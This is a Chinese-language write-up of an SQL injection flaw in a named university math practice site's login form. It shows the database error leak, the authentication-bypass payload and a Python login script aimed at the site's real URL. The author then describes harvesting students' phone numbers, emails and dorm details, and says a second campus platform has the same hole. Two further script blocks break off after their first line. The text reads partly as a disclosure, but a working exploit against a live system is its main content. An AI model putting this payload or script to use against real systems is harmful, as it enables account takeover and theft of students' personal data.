SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
发现
在NEUMathe的登陆表单内输入了‘,没有正常的显示登陆失败,而是弹出以下界面:
### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 2 ### The error may exist in ssm/mapper/StudentMapperCustom.xml ### The error may involve ssm.mapper.StudentMapperCustom.checkStudentExits-Inline ### The error occurred while setting parameters ### SQL: SELECT * FROM Student WHERE Code = and Pwd = |
很明显,这是数据库错误的提示信息,注意到这一行,SELECT * FROM Student WHERE Code = and Pwd =
服务器把单引号传入sql语句中导致这句查询执行错误,于是,找到注入点,输入2016xxxx' or '1'='1
,此时,原来正常的语句由select * from student where code = '2016xxxx' and pwd = 'xxxx'
变
成了select * from student where code = '2016xxxx' or '1'='1' and pwd = 'xxxx'
,点击登陆,居然能成功登陆,pwd密码项被or后面一个恒等式架空了,于是这个语句恒为真,即可以登陆任何人的>账号。
利用
这个漏洞导致可以登陆所有人的账户,首先带来的后果是信息的泄漏,使用python模拟登陆#!/usr/bin/python
import requests
userpass = "anypass"
tiku = "GS" #GS GL FB XD 选择科目
sso = "2016xxxx" #sso number
login_data = {"username":sso+"' or '1'='1", "userpass":userpass,"tiku":tiku}
url = 'http://mathe.neu.edu.cn/login'
headers = {"User_Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"}
t = requests.post(url, data = login_data, headers = headers)
print t.text
进一步,可以获得cookies,抓取个人信息
#!/usr/bin/python |
代码返回一个包含个人手机 邮箱 宿舍信息的json。
更可怕的是,该系统数据库的密码存储使用明文,对于sql注入的进一步操作可以爬去整个数据表,用过社会工程学推测学校学生的其他账号密码。
该漏洞极其危险,然而,笔者经过尝试,发现了培养计划平台也有相同问题,可以模拟登陆,修改信息,抓取培养计划:
#!/usr/bin/python |